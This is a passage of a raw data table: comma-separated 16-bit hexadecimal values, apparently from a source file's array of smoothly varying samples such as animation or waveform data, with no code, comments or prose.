0xECB4, 0xE915, 0xE9D1, 0xF06D, 0xF9FC, 0x046B,\n 0x0DA9, 0x13A4, 0x16C7, 0x18FE, 0x1A74, 0x1B56, 0x1BCE, 0x1C09,\n 0x1C32, 0x1C75, 0x1CFE, 0x1DB9, 0x1E76, 0x1F33, 0x1FEE, 0x20A8,\n 0x215E, 0x2210, 0x22BC, 0x2362, 0x23FF, 0x2494, 0x251F, 0x259E,\n 0x2611, 0x2676, 0x26CD, 0x2714, 0x274A, 0x2722, 0x2670, 0x2562,\n 0x2424, 0x22E6, 0x21D4, 0x2125, 0x2128, 0x2151, 0x218C, 0x2219,\n 0x22C8, 0x2366, 0x23C1, 0x23A8, 0x22E9, 0x2151, 0x1F29, 0x1CDA,\n 0x1A68, 0x17D6, 0x1527, 0x1260, 0x0F82, 0x0C93, 0x0994, 0x068A,\n 0x0377, 0x0060, 0xFD48, 0xFA31, 0xF720, 0xF417, 0xF11A, 0xEE2C,\n 0xEB51, 0xE88C, 0xE5E0, 0xE352, 0xE0E3, 0xE0A9, 0xE2AA, 0xE3DB,\n 0xE2C1, 0xE0D5, 0xDF7B, 0xDE1F, 0xDBED, 0xD9DF, 0xD8F0, 0xDA1B,\n 0xDE5A, 0xE53C, 0xED7B, 0xF6D0, 0x00F4, 0x0BA3, 0x1696, 0x2186,\n 0x2C2E, 0x3647, 0x3F8A, 0x47B3, 0x4E7A, 0x539A, 0x52E9, 0x4AD0,\n 0x3EE9, 0x32CB, 0x2A0D, 0x2477, 0x1FA5, 0x1BEA, 0x199B, 0x190C,\n 0x1B67, 0x2074, 0x2674, 0x2BA8, 0x2E52, 0x2EA5, 0x2E17, 0x2CC9,\n 0x2ADE, 0x2879, 0x25BB, 0x22C7, 0x1F3A, 0x1ACC, 0x15C8, 0x107A,\n 0x0B2E, 0x062E, 0x01C8, 0xFE46, 0xFBF4, 0xFB1D, 0xD2DC, 0xD3C6,\n 0xD626, 0xD970, 0xDD17, 0xE08F, 0xE349, 0xE4BB, 0xE244, 0xDCCB,\n 0xD90A, 0xD847, 0xD862, 0xD8FB, 0xD9B4, 0xDA2E, 0xDA70, 0xDAC1,\n 0xDB18, 0xDB6E, 0xDBBF, 0xDC01, 0xDC30, 0xDC43, 0xDC36, 0xDC17,\n 0xDBFB, 0xDBE0, 0xDBC5, 0xDBA8, 0xDB88, 0xDB63, 0xDB37, 0xDB03,\n 0xDAC5, 0xDA7C, 0xDA25, 0xD9C0, 0xD94C, 0xD8C5, 0xD82B, 0xD77C,\n 0xD6B7, 0xD570, 0xD36A, 0xD0EC, 0xCE38, 0xCB94, 0xC944, 0xC7AA,\n 0xC7B0, 0xC816, 0xC80E, 0xC7FA, 0xC7E2, 0xC7CC, 0xC7BF, 0xC7C2,\n 0xC7DD, 0xC816, 0xC85D, 0xC89F, 0xC8DD, 0xC918, 0xC952, 0xC98A,\n 0xC9C3, 0xC9FD, 0xCA3A, 0xCA7B, 0xCAC0, 0xCB0C, 0xCB5E, 0xCBB9,\n 0xCC1D, 0xCC8C, 0xCD06, 0xCD8E, 0xCE23, 0xCEC6, 0xCF7B, 0xD040,\n 0xD118, 0xD409, 0xD97A, 0xDEF6, 0xE4CE, 0xEAB2, 0xED40, 0xEC09,\n 0xE950, 0xE5C2, 0xE20A, 0xDED5, 0xDCCE, 0xDBAC, 0xDAB1, 0xD9D9,\n 0xD921, 0xD885, 0xD804, 0xD799, 0xD741, 0xD6FA, 0xD6BF, 0xD68E,\n 0xD664, 0xD63E, 0xD69B, 0xD7AB, 0xD8F1, 0xD9ED, 0xDA24, 0xD90D,\n 0xD6FC, 0xD4BD, 0xD319, 0xD2DB, 0xD493, 0xD7B8, 0xDB76, 0xDEF4,\n 0xE15C, 0xE2E0, 0xE437, 0xE54E, 0xE615, 0xE67B, 0xE66D, 0xE5DB,\n 0xE4A2, 0xE2CA, 0xE07F, 0xDDF1, 0xDB4A, 0xD8BA, 0xD66D, 0xD490,\n 0xD351, 0xD2DC, 0xD4B4, 0xD513, 0xD618, 0xD79E, 0xD97E, 0xDB93,\n 0xDDB7, 0xDFC4, 0xE3C4, 0xE85B, 0xE84C, 0xE1DB, 0xD844, 0xCDBE,\n 0xC47F, 0xBEC0, 0xBC18, 0xBA81, 0xB9C2, 0xB9A3, 0xB9EB, 0xBA61,\n 0xBACC, 0xBAF4, 0xBAA0, 0xB9EB, 0xB916, 0xB827, 0xB725, 0xB615,\n 0xB4FD, 0xB3E2, 0xB2CA, 0xB1BB, 0xB0BA, 0xAFCD, 0xAEFB, 0xAE47,\n 0xADB9, 0xAD56, 0xAD24, 0xAD28, 0xAD68, 0xAEBB, 0xB19B, 0xB57F,\n 0xB9E1, 0xBE38, 0xC1FC, 0xC47D, 0xC472, 0xC3D7, 0xC3D8, 0xC3DB,\n 0xC3DF, 0xC3E3, 0xC3E5, 0xC3E4, 0xC3E0, 0xC3D7, 0xC3D3, 0xC3DF,\n 0xC3F8, 0xC41B, 0xC447, 0xC479, 0xC4AE, 0xC4E5, 0xC51A, 0xC54C,\n 0xC578, 0xC59C, 0xC5B5, 0xC5C1, 0xC5BE, 0xC5AA, 0xC581, 0xC542,\n 0xC4EA, 0xC477, 0xC3E6, 0xC336, 0xC263, 0xBD18, 0xB390, 0xACA2,\n 0xAB65, 0xACC2, 0xAE4A, 0xAFA9, 0xB1BB, 0xB3D7, 0xB557, 0xB591,\n 0xB3DE, 0xB076, 0xAC22, 0xA715, 0xA180, 0x9B95, 0x9586, 0x8F85,\n 0x89C4, 0x8473, 0x7FC4, 0x7BEC, 0x791B, 0x7783, 0x7A78, 0x8340,\n 0x8EEC, 0x9A97, 0xA35A, 0xA987, 0xAF10, 0xB376, 0xB63C, 0xB6E3,\n 0xB41F, 0xAE44, 0xA745, 0xA114, 0x9DA5, 0x9CAE, 0x9C8D, 0x9D30,\n 0x9E86, 0xA07D, 0xA303, 0xA607, 0xA9F5, 0xAF07, 0xB4DF, 0xBB1F,\n 0xC16A, 0xC762, 0xCCA9, 0xD0E2, 0xD3B0, 0xD4B4, 0x0000, 0x00DF,\n 0x0326, 0x0657, 0x09F1, 0x0D73, 0x105E, 0x1233, 0x1101, 0x0D81,\n 0x0B2C, 0x0AAA, 0x0A4F, 0x0A17, 0x0A00, 0x0A09, 0x0A2D, 0x0A6C,\n 0x0AC2, 0x0B2C, 0x0C02, 0x0D62, 0x0EFB, 0x1079, 0x118C, 0x1165,\n 0x10AA, 0x1133, 0x13DF, 0x179C, 0x1B5B, 0x1E0C, 0x1F84, 0x206B,\n 0x20EE, 0x213A, 0x217B, 0x21CD, 0x221B, 0x224E, 0x224C, 0x21FC,\n 0x2146, 0x2034, 0x1EE6, 0x1D6B, 0x1BCD, 0x1A19, 0x185A, 0x169D,\n 0x14ED, 0x1358, 0x1355, 0x1355, 0x1355, 0x1356, 0x1356, 0x1357,\n 0x1357, 0x1358, 0x1148, 0x0DD8, 0x0D28, 0x1358, 0x3361, 0x5555,\n 0x5610, 0x4EB4, 0x4D5F, 0x4C0F, 0x4AC3, 0x497C, 0x4838, 0x46F7,\n 0x45BA, 0x4481, 0x434A, 0x4216, 0x40E5, 0x3FB5, 0x3E89, 0x3D5E,\n 0x3C34, 0x3B0C, 0x39E6, 0x38C0, 0x379C, 0x3678, 0x3554, 0x3431,\n 0x330D, 0x31E9, 0x30C5, 0x2FA0, 0x2E7B, 0x2D45, 0x2BF6, 0x2A96,\n 0x292F, 0x27C8, 0x266B, 0x2520, 0x23EF, 0x22E2, 0x2200, 0x2153,\n 0x20E4, 0x20BA, 0x21E7, 0x24D1, 0x287C, 0x2BF1, 0x2E36, 0x2F3A,\n 0x2FA4, 0x2F8C, 0x2F0A, 0x2E36, 0x2CB8, 0x2A7A, 0x27F2, 0x2599,\n 0x2364, 0x20FE, 0x1E70, 0x1BC5, 0x1907, 0x1640, 0x1379, 0x10BC,\n 0x0E13, 0x0B87, 0x0924, 0x06F2, 0x04FC, 0x034B, 0x01E8, 0x00DF,\n 0x0039, 0x0000, 0x0000, 0x0095, 0x0222, 0x0458, 0x06EA, 0x0989,\n 0x0BE6, 0x0DB5, 0x0E7A, 0x0E6C, 0x0E45, 0x0E4C, 0x0E4A, 0x0E43,\n 0x0E39, 0x0E30, 0x0E29, 0x0E29, 0x0E31, 0x0E45, 0x0E8F, 0x0F12,\n 0x0F95, 0x0FE2, 0x0FC1, 0x0E37, 0x0BE3, 0x0AF1, 0x0C3B, 0x0E96,\n 0x1124, 0x1308, 0x141E, 0x14E4, 0x1575, 0x15EC, 0x1664, 0x16C8,\n 0x1706, 0x1739, 0x1779, 0x17E3, 0x1891, 0x197B, 0x1A84, 0x1BA6,\n 0x1CDB, 0x1E1B, 0x1F60, 0x20A4, 0x21E1, 0x230F, 0x2311, 0x2311,\n 0x2311, 0x2310, 0x2310, 0x2310, 0x230F, 0x230F, 0x236C, 0x2407,\n 0x2426, 0x230F, 0x1C74, 0x176E, 0x2008, 0x27F3, 0x27BF, 0x276D,\n 0x2701, 0x267C, 0x25E1, 0x2531, 0x246F, 0x239D, 0x22BE, 0x21D2,\n 0x20DD, 0x1FE0, 0x1EDE, 0x1DD8, 0x1CD2, 0x1BCC, 0x1AC9, 0x19CB,\n 0x18D5, 0x17E8, 0x1707, 0x1633, 0x1570, 0x14BE, 0x1420, 0x1398,\n 0x1329, 0x12EB, 0x12F0, 0x132D, 0x1397, 0x1424, 0x14CA, 0x157E,\n 0x1635, 0x16E6, 0x1785, 0x1808, 0x1864, 0x1890, 0x1839, 0x174D,\n 0x161F, 0x1500, 0x1445, 0x1410, 0x1429, 0x145E, 0x1478, 0x1445,\n 0x139E, 0x12A2, 0x1186, 0x107E, 0x0F86, 0x0E79, 0x0D5A, 0x0C2E,\n 0x0AFA, 0x09C2, 0x088A, 0x0757, 0x062C, 0x050E, 0x0402, 0x030C,\n 0x022F, 0x0171, 0x00D6, 0x0062, 0x0019, 0x0000, 0xF549, 0xF5EA,\n 0xF778, 0xF974, 0xFB5D, 0xFCB4, 0xFCF9, 0xFBAD, 0xF3BC, 0xE6E0,\n 0xDED3, 0xDCEC, 0xDBE6, 0xDB96, 0xDBCF, 0xDC63, 0xDD27, 0xDDEF,\n 0xDE8C, 0xDED3, 0xDEF7, 0xDF37, 0xDF77, 0xDF9D, 0xDF8D, 0xDEB2,\n 0xDD75, 0xDD36, 0xDE83, 0xE092, 0xE2C9, 0xE48F, 0xE5D2, 0xE6ED,\n 0xE7DF, 0xE8AB, 0xE950, 0xEA0E, 0xEAF4, 0xEBBF, 0xEC2B, 0xEBF7,\n 0xEADD, 0xE8F6, 0xE695, 0xE3D3, 0xE0C9, 0xDD90, 0xDA42, 0xD6F7,\n 0xD3C8, 0xD0CE, 0xD0C7, 0xD0C8, 0xD0C9, 0xD0CA, 0xD0CB, 0xD0CC,\n 0xD0CD, 0xD0CE, 0xCE81, 0xCAAB, 0xC9E6, 0xD0CE, 0xF59D, 0x1A71,\n 0x11AF, 0x020F, 0x00B7, 0xFF81, 0xFE68, 0xFD6C, 0xFC8A, 0xFBC1,\n 0xFB0D, 0xFA6D, 0xF9DE, 0xF95E, 0xF8EC, 0xF883, 0xF824, 0xF7CA,\n 0xF775, 0xF721, 0xF6CD, 0xF676, 0xF61A, 0xF5B7, 0xF54B, 0xF4D3,\n 0xF44D, 0xF3B7, 0xF30F, 0xF252, 0xF17E, 0xF071, 0xEF13, 0xED78,\n 0xEBB0, 0xE9CD, 0xE7E0, 0xE5FB, 0xE42F, 0xE28E, 0xE12A, 0xE013,\n 0xDF5C, 0xDF15, 0xE0A2, 0xE47B, 0xE956, 0xEDEA, 0xF0EA, 0xF20A,\n 0xF227, 0xF1B4, 0xF124, 0xF0EA, 0xF10E, 0xF144, 0xF181, 0xF1BA,\n 0xF1F0, 0xF22A, 0xF268, 0xF2A8, 0xF2EB, 0xF32E, 0xF371, 0xF3B4,\n 0xF3F4, 0xF432, 0xF46C, 0xF4A1, 0xF4D1, 0xF4F9, 0xF51B, 0xF534,\n 0xF544, 0xF549, 0xC7DD, 0xC720, 0xC537, 0xC29A, 0xBFC0, 0xBD21,\n 0xBB32, 0xBA6C, 0xBD8A, 0xC396, 0xC775, 0xC866, 0xC90E, 0xC973,\n 0xC99B, 0xC989, 0xC945, 0xC8D2, 0xC835, 0xC775, 0xC5D3, 0xC313,\n 0xC001, 0xBD66, 0xBC0D, 0xBDB6, 0xC166, 0xC3CA, 0xC3C8, 0xC2DB,\n 0xC195, 0xC088, 0xBF35, 0xBD51, 0xBBBE, 0xBB5E, 0xBD12, 0xC14C,\n 0xC75E, 0xCE79, 0xD5CF, 0xDC91, 0xE1F1, 0xE61E, 0xE9E0, 0xED4B,\n 0xF075, 0xF372, 0xF656, 0xF937, 0xFC2A, 0xFF42, 0xFF46, 0xFF46,\n 0xFF45, 0xFF44, 0xFF44, 0xFF43, 0xFF42, 0xFF42, 0xFFC5, 0x0000,\n 0x0000, 0xFF42, 0xFA68, 0xF33C, 0xEC94, 0xE941, 0xE8A1, 0xE82A,\n 0xE7D8, 0xE7A8, 0xE797, 0xE7A1, 0xE7C2, 0xE7F8, 0xE83F, 0xE893,\n 0xE8F1, 0xE956, 0xE9BE, 0xEA26, 0xEA8A, 0xEAE7, 0xEB3A, 0xEB7E,\n 0xEBB2, 0xEBD0, 0xEBD7, 0xEBC1, 0xEB8D, 0xEB36, 0xEABA, 0xEA14,\n 0xE941, 0xE831, 0xE6D8, 0xE53D, 0xE368, 0xE15E, 0xDF26, 0xDCC7,\n 0xDA48, 0xD7AF, 0xD504, 0xD24B, 0xCF8E, 0xCCD1, 0xCA1C, 0xC776,\n 0xC4E4, 0xC26E, 0xC01B, 0xBDED, 0xBBD9, 0xB9CC, 0xB7B5, 0xB583,\n 0xB28A, 0xAF08, 0xAC4E, 0xABA9, 0xACA8, 0xADF2, 0xAF7C, 0xB13D,\n 0xB328, 0xB532, 0xB752, 0xB97B, 0xBBA4, 0xBDC0, 0xBFC6, 0xC1AA,\n 0xC362, 0xC4E2, 0xC620, 0xC710, 0xC7A8, 0xC7DD, 0x054B, 0x05AC,\n 0x06AB, 0x0816, 0x09BB, 0x0B66, 0x0CE5, 0x0E04, 0x0FCE, 0x1102,\n 0x0E04, 0x06FB, 0xFEB9, 0xF59D, 0xEC09, 0xE260, 0xD902, 0xD051,\n 0xC8AF, 0xC27C, 0xBF11, 0xBEAC, 0xC00D, 0xC1F2, 0xC31B, 0xC481,\n 0xC62D, 0xC57A, 0xC1F7, 0xBD13, 0xB6F0, 0xAFB0, 0xA500, 0x9701,\n 0x898E, 0x807E, 0x7FA6, 0x88BC, 0x98CA, 0xACC9, 0xC1AB, 0xD466,\n 0xE1EE, 0xEAF4, 0xF266, 0xF893, 0xFDCB, 0x025D, 0x0699, 0x0AD0,\n 0x0F50, 0x1469, 0x147D, 0x14AA, 0x14E4, 0x151B, 0x153B, 0x1534,\n 0x14F4, 0x1469, 0x1125, 0x0BB5, 0x0887, 0x0C04, 0x1BD6, 0x3425,\n 0x4B13, 0x56C6, 0x596D, 0x5BD0, 0x5DF1, 0x5FD4, 0x617A, 0x62E8,\n 0x6421, 0x6526, 0x65FC, 0x66A6, 0x6726, 0x677F, 0x67B4, 0x67C9,\n 0x67C0, 0x679D, 0x6761, 0x6712, 0x66B0, 0x6640, 0x65C5, 0x6541,\n 0x64B7, 0x642A, 0x639E, 0x6316, 0x6294, 0x61EA, 0x60ED, 0x5FA6,\n 0x5E1E, 0x5C5D, 0x5A6B, 0x5852, 0x561A, 0x53CC, 0x5170, 0x4F0E,\n 0x4CB0, 0x4A5E, 0x4820, 0x45FF, 0x4405, 0x4238, 0x40A3, 0x3F0D,\n 0x3DA4, 0x3D0D, 0x3DEC, 0x40E3, 0x49AE, 0x5741, 0x6319, 0x66B0,\n 0x6367, 0x5F11, 0x59D5, 0x53D8, 0x4D41, 0x4637, 0x3EE0, 0x3763,\n 0x2FE5, 0x288F, 0x2185, 0x1AEF, 0x14F2, 0x0FB7, 0x0B61, 0x0819,\n 0x0605, 0x054B, 0x2BD6, 0x2B79, 0x2A80, 0x291F, 0x2786, 0x25E6,\n 0x2472, 0x235A, 0x2318, 0x2367, 0x235A, 0x22AE, 0x21D1, 0x20D5,\n 0x1FCE, 0x1ED2, 0x1DF2, 0x1D45, 0x1CDC, 0x1CCD, 0x1DC3, 0x1FDB,\n 0x2252, 0x2467, 0x2557, 0x2373, 0x1FCB, 0x1DB4, 0x1DF5, 0x1F18,\n 0x211D, 0x23FF, 0x288D, 0x2EA0, 0x34C6, 0x398E, 0x3B86, 0x3B67,\n 0x3AE9, 0x3A17, 0x38FB, 0x379F, 0x360F, 0x3455, 0x327B, 0x308D,\n 0x2E95, 0x2C9D, 0x2AB1, 0x28DA, 0x2724, 0x2599, 0x25A1, 0x25C4,\n 0x25F2, 0x261C, 0x2637, 0x2633, 0x2603, 0x2599, 0x2370, 0x1FD8,\n 0x1D85, 0x1F2A, 0x2803, 0x35C8, 0x42E8, 0x49CF, 0x4BA6, 0x4D50,\n 0x4ECE, 0x5025, 0x5155, 0x5263, 0x5350, 0x541F, 0x54D3, 0x556F,\n 0x55F5, 0x5667, 0x56C9, 0x571D, 0x5766, 0x57A6, 0x57DF, 0x5815,\n 0x584B, 0x5882, 0x58BD, 0x5900, 0x594C, 0x59A5, 0x5A0C, 0x5A85,\n 0x5B12, 0x5BB1, 0x5C5C, 0x5D0F, 0x5DC9, 0x5E87, 0x5F45, 0x6002,\n 0x60B9, 0x616A, 0x6210, 0x62A9, 0x6333, 0x63AA, 0x640D, 0x6457,\n 0x6487, 0x6499, 0x648C, 0x637E, 0x610A, 0x5DE4, 0x5AC0, 0x5853,\n 0x5700, 0x5644, 0x557C, 0x5405, 0x51DC, 0x4F72, 0x4CD5, 0x4A0E,\n 0x472B, 0x4436, 0x413B, 0x3E45, 0x3B61, 0x3899, 0x35FA, 0x338F,\n 0x3163, 0x2F83, 0x2DF9, 0x2CD1, 0x2C17, 0x2BD6, 0xCCF6, 0xCD61,\n 0xCE7E, 0xD014, 0xD1E9, 0xD3C6, 0xD571, 0xD6B2, 0xD850, 0xD949,\n 0xD6B2, 0xD0BA, 0xC9B6, 0xC1FB, 0xB9D9, 0xB1A6, 0xA9B4, 0xA256,\n 0x9BDF, 0x96A2, 0x93BE, 0x936A, 0x949D, 0x9650, 0x977C, 0x9951,\n 0x9B94, 0x9B19, 0x9761, 0x9219, 0x8B50, 0x831A, 0x7771, 0x6894,\n 0x59EE, 0x4EEA, 0x4AF5, 0x4F34, 0x5905, 0x6626, 0x7458, 0x815F,\n 0x8AF4, 0x9195, 0x975A, 0x9C6C, 0xA0F8, 0xA529, 0xA929, 0xAD24,\n 0xB145, 0xB5B8, 0xB5B7, 0xB5A0, 0xB582, 0xB565, 0xB553, 0xB555,\n 0xB573, 0xB5B8, 0xB50C, 0xB3EC, 0xB4BE, 0xB9E5, 0xC723, 0xDA26,\n 0xEC3A, 0xF6A7, 0xFAFB, 0xFF3D, 0x036C, 0x0786, 0x0B8A, 0x0F77,\n 0x1349, 0x1700, 0x1A9B, 0x1E17, 0x2173, 0x24AD, 0x27C5, 0x2AB7,\n 0x2D83, 0x3027, 0x32A1, 0x34F0, 0x3712, 0x3906, 0x3ACA, 0x3C5C,\n 0x3DBB, 0x3EE4, 0x3FD8, 0x4093, 0x4115, 0x410E, 0x403D, 0x3EB7,\n 0x3C90, 0x39DB, 0x36AD, 0x331B, 0x2F37, 0x2B17, 0x26CF, 0x2272,\n 0x1E15, 0x19CC, 0x15AB, 0x11C6, 0x0E32, 0x0B02, 0x084A, 0x0604,\n 0x046E, 0x0403, 0x0540, 0x08A0, 0x1228, 0x20DB, 0x2DBB, 0x31C4,\n 0x2E73, 0x2A06, 0x24A6, 0x1E7B, 0x17AE, 0x1066, 0x08CC, 0x0108,\n 0xF943, 0xF1A4, 0xEA54, 0xE37B, 0xDD41, 0xD7CF, 0xD34C, 0xCFE2,\n 0xCDB8, 0xCCF6, 0x0000, 0xFFFF, 0xFFFC, 0xFFF8, 0xFFF7, 0xFFF9,\n 0x0000, 0x0019, 0x0042, 0x0064, 0x006C, 0x004F, 0x001A, 0xFFDA,\n 0xFF9D, 0xFF63, 0xFF26, 0xFEEA, 0xFEB3, 0xFE7E, 0xFE47, 0xFE11,\n 0xFDE1, 0xFDB9, 0xFD9E, 0xFD88, 0xFD75, 0xFD6B, 0xFD6F, 0xFD88,\n 0xFDBB, 0xFE1E, 0xFEB1, 0xFF57, 0xFFF9, 0x007A, 0x00C2, 0x009B,\n 0x0014, 0xFF7A, 0xFF1B, 0xFF10, 0xFF2E, 0xFF5C, 0xFF7F, 0xFF95,\n 0xFFAB, 0xFFC0, 0xFFD5, 0xFFE7, 0xFFF6, 0x0000, 0x0006, 0x0008,\n 0x0007, 0x0005, 0x0001, 0x0000, 0xFFFF, 0x0000, 0x0008, 0x0016,\n 0x0023, 0x002B, 0x002A, 0x0026, 0x0020, 0x001A, 0x0016, 0x0015,\n 0x0017, 0x001C, 0x0021, 0x0028, 0x002E, 0x0033, 0x0037, 0x0038,\n 0x0036, 0x002F, 0x0024, 0x0013, 0xFFFD, 0xFF98, 0xFEE4, 0xFE4B,\n 0xFE36, 0xFF54, 0x011E, 0x022A, 0x0228, 0x01D1, 0x014B, 0x00BA,\n 0x0043, 0x000C, 0x0001, 0xFFF9, 0xFFF0, 0xFFE8, 0xFFE1, 0xFFDB,\n 0xFFD5, 0xFFD1, 0xFFCD, 0xFFC9, 0xFFC6, 0xFFC4, 0xFFC3, 0xFFC2,\n 0xFFC1, 0xFFC1, 0xFFC2, 0xFFC3, 0xFFC4, 0xFFC6, 0xFFC8, 0xFFCA,\n 0xFFCC, 0xFFCF, 0xFFD2, 0xFFD5, 0xFFD8, 0xFFDB, 0xFFDE, 0xFFE2,\n 0xFFE5, 0xFFE8, 0xFFEC, 0xFFEF, 0xFFF2, 0xFFF4, 0xFFF7, 0xFFF9,\n 0xFFFB, 0xFFFD, 0xFFFF, 0x0000, 0x0000, 0x0000, 0xFF30, 0xFF32,\n 0xFF37, 0xFF3B, 0xFF3D, 0xFF3A, 0xFF30, 0xFF17, 0xFEF0, 0xFEC3,\n 0xFE98, 0xFE70, 0xFE46, 0xFE1C, 0xFDF2, 0xFDC7, 0xFD9B, 0xFD6E,\n 0xFD40, 0xFD0F, 0xFCD9, 0xFCA3, 0xFC70, 0xFC43, 0xFC1F, 0xFBFC,\n 0xFBD6, 0xFBB5, 0xFBA4, 0xFBAD, 0xFBD9, 0xFC38, 0xFCC6, 0xFD6E,\n 0xFE1A, 0xFEB4, 0xFF28, 0xFF62, 0xFF6E, 0xFF63, 0xFF5A, 0xFF52,\n 0xFF40, 0xFF2D, 0xFF23, 0xFF21, 0xFF21, 0xFF24, 0xFF27, 0xFF2B,\n 0xFF2E, 0xFF30, 0xFF31, 0xFF31, 0xFF31, 0xFF30, 0xFF30, 0xFF30,\n 0xFF30, 0xFF30, 0xFF31, 0xFF32, 0xFF34, 0xFF34, 0xFF34, 0xFF33,\n 0xFF32, 0xFF32, 0xFF31, 0xFF31, 0xFF30, 0xFF30, 0xFF30, 0xFF2F,\n 0xFF2F, 0xFF2F, 0xFF2E, 0xFF2E, 0xFF2E, 0xFF2E, 0xFF2F, 0xFF2F,\n 0xFF30, 0xFF34, 0xFF3A, 0xFF40, 0xFF43, 0xFF3E, 0xFF34, 0xFF2E,\n 0xFF2D, 0xFF2D, 0xFF2E, 0xFF2F, 0xFF30, 0xFF31, 0xFF31, 0xFF31,\n 0xFF31, 0xFF31, 0xFF31, 0xFF31, 0xFF31, 0xFF31, 0xFF31, 0xFF31,\n 0xFF31, 0xFF31, 0xFF31, 0xFF31, 0xFF31, 0xFF31, 0xFF31, 0xFF31,\n 0xFF31, 0xFF30, 0xFF30, 0xFF30, 0xFF30, 0xFF30, 0xFF30, 0xFF30,\n 0xFF30, 0xFF30, 0xFF30, 0xFF30, 0xFF30, 0xFF30, 0xFF30, 0xFF30,\n 0xFF30, 0xFF30, 0xFF30, 0xFF30, 0xFF30, 0xFF30, 0xFF30, 0xFF30,\n 0xFF30, 0xFF30, 0xC9D8, 0xC9D0, 0xC9B8, 0xC996, 0xC96A, 0xC93A,\n 0xC907, 0xC8B9, 0xC850, 0xC7F8, 0xC7DF, 0xC826, 0xC8AE, 0xC942,\n 0xC9AA, 0xC9D9, 0xC9EC, 0xC9EB, 0xC9E2, 0xC9CB, 0xC9A4, 0xC978,\n 0xC951, 0xC93A, 0xC93F, 0xC965, 0xC9A2, 0xC9F1, 0xCA47, 0xCA9E,\n 0xCAEC, 0xCB37, 0xCB85, 0xCBD3, 0xCC1E, 0xCC61, 0xCC98, 0xCCB1,\n 0xCCAE, 0xCCAF, 0xCCD3, 0xCD4C, 0xCDFA, 0xCE87, 0xCE9B, 0xCE2F,\n 0xCD84, 0xCCB3, 0xCBD5, 0xCB00, 0xCA4F, 0xC9D8, 0xC9AE, 0xC9C1,\n 0xC9F9, 0xCA3D, 0xCA75, 0xCA87, 0xCA5B, 0xC9D8, 0xC833, 0xC574,\n 0xC2C4, 0xC149, 0xC155, 0xC22D, 0xC369, 0xC4A1, 0xC56B, 0xC5E0,\n 0xC65A, 0xC6D8, 0xC756, 0xC7D1, 0xC845, 0xC8B1, 0xC911, 0xC961,\n 0xC9A0, 0xC9C9, 0xC9DA, 0xC9D0, 0xC9A8, 0xC86D, 0xC5E9, 0xC339,\n 0xC17A, 0xC167, 0xC257, 0xC34E, 0xC40A, 0xC4DF, 0xC5B6, 0xC677,\n 0xC70A, 0xC756, 0xC777, 0xC797, 0xC7B6, 0xC7D4, 0xC7F1, 0xC80D,\n 0xC828, 0xC841, 0xC85A, 0xC873, 0xC88A, 0xC8A0, 0xC8B5, 0xC8CA,\n 0xC8DD, 0xC8F0, 0xC902, 0xC913, 0xC923, 0xC933, 0xC941, 0xC94F,\n 0xC95C, 0xC969, 0xC974, 0xC97F, 0xC98A, 0xC993, 0xC99C, 0xC9A4,\n 0xC9AC, 0xC9B3, 0xC9B9, 0xC9BF, 0xC9C4, 0xC9C8, 0xC9CC, 0xC9CF,\n 0xC9D2, 0xC9D4, 0xC9D6, 0xC9D7, 0xC9D8, 0xC9D8, 0x1E4A, 0x1E6D,\n 0x1EC5, 0x1F34, 0x1F9D, 0x1FE3, 0x1FEB, 0x1FBE, 0x1F7E, 0x1F2E,\n 0x1ED2, 0x1E6E, 0x1E04, 0x1D99, 0x1D30, 0x1CCD, 0x1C72, 0x1C25,\n 0x1BE7, 0x1BD0, 0x1BE5, 0x1C11, 0x1C3D, 0x1C54, 0x1C42, 0x1BFE,\n 0x1B99, 0x1B20, 0x1A9E, 0x1A21, 0x19B4, 0x1958, 0x1902, 0x18B1,\n 0x1861, 0x1811, 0x17BC, 0x1762, 0x1705, 0x16A6, 0x1647, 0x15B2,\n 0x14F9, 0x1486, 0x14C5, 0x15C1, 0x1724, 0x18C3, 0x1A74, 0x1C0D,\n 0x1D62, 0x1E4A, 0x1E97, 0x1E61, 0x1DDC, 0x1D42, 0x1CC9, 0x1CA7,\n 0x1D15, 0x1E4A, 0x222F, 0x28AF, 0x2EF9, 0x3240, 0x31A6, 0x2EF2,\n 0x2B4D, 0x27E0, 0x25D5, 0x24E2, 0x23FA, 0x231E, 0x2253, 0x2199,\n 0x20F4, 0x2066, 0x1FF2, 0x1F9B, 0x1F63, 0x1F4C, 0x1F5A, 0x1F8E,\n 0x1FEC, 0x21FD, 0x2626, 0x2AB4, 0x2DF1, 0x2F26, 0x2F08, 0x2DFF,\n 0x2C30, 0x29BE, 0x2712, 0x2492, 0x22A6, 0x21B6, 0x2168, 0x211E,\n 0x20D9, 0x2097, 0x205A, 0x2021, 0x1FEC, 0x1FBB, 0x1F8D, 0x1F62,\n 0x1F3B, 0x1F17, 0x1EF6, 0x1ED9, 0x1EBE, 0x1EA5, 0x1E90, 0x1E7C,\n 0x1E6B, 0x1E5D, 0x1E50, 0x1E45, 0x1E3C, 0x1E35, 0x1E30, 0x1E2C,\n 0x1E29, 0x1E27, 0x1E27, 0x1E27, 0x1E28, 0x1E2A, 0x1E2D, 0x1E30,\n 0x1E33, 0x1E36, 0x1E3A, 0x1E3D, 0x1E40, 0x1E43, 0x1E46, 0x1E48,\n 0x1E49, 0x1E4A, 0x1B09, 0x1AF8, 0x1AD0, 0x1AA2, 0x1A7E, 0x1A74,\n 0x1A96, 0x1ADB, 0x1B2F, 0x1B8E, 0x1BF7, 0x1C66, 0x1CD9, 0x1D4E,\n 0x1DC2, 0x1E32, 0x1E9C, 0x1EFD, 0x1F53, 0x1F99, 0x1FCD, 0x1FF3,\n 0x200D, 0x201D, 0x2025, 0x202C, 0x2030, 0x202A, 0x2013, 0x1FE2,\n 0x1F90, 0x1F08, 0x1E4B, 0x1D74, 0x1CA0, 0x1BE8, 0x1B6A, 0x1B4A,\n 0x1B7D, 0x1BCF, 0x1C10, 0x1C42, 0x1C79, 0x1CA0, 0x1CA2, 0x1C7E,\n 0x1C44, 0x1BFE, 0x1BB3, 0x1B6C, 0x1B31, 0x1B09, 0x1AFE, 0x1B0D,\n 0x1B2A, 0x1B4A, 0x1B62, 0x1B66, 0x1B4C, 0x1B09, 0x1A2D, 0x18C0,\n 0x1762, 0x16B5, 0x16F1, 0x17AD, 0x18A0, 0x197E, 0x19FD, 0x1A2F,\n 0x1A58, 0x1A79, 0x1A92, 0x1AA5, 0x1AB2, 0x1ABB, 0x1AC0, 0x1AC3,\n 0x1AC4, 0x1AC4, 0x1AC4, 0x1AC6, 0x1ACA, 0x1AB9, 0x1A8F, 0x1A66,\n 0x1A58, 0x1A84, 0x1AD0, 0x1B00, 0x1B03, 0x1AF8, 0x1AE5, 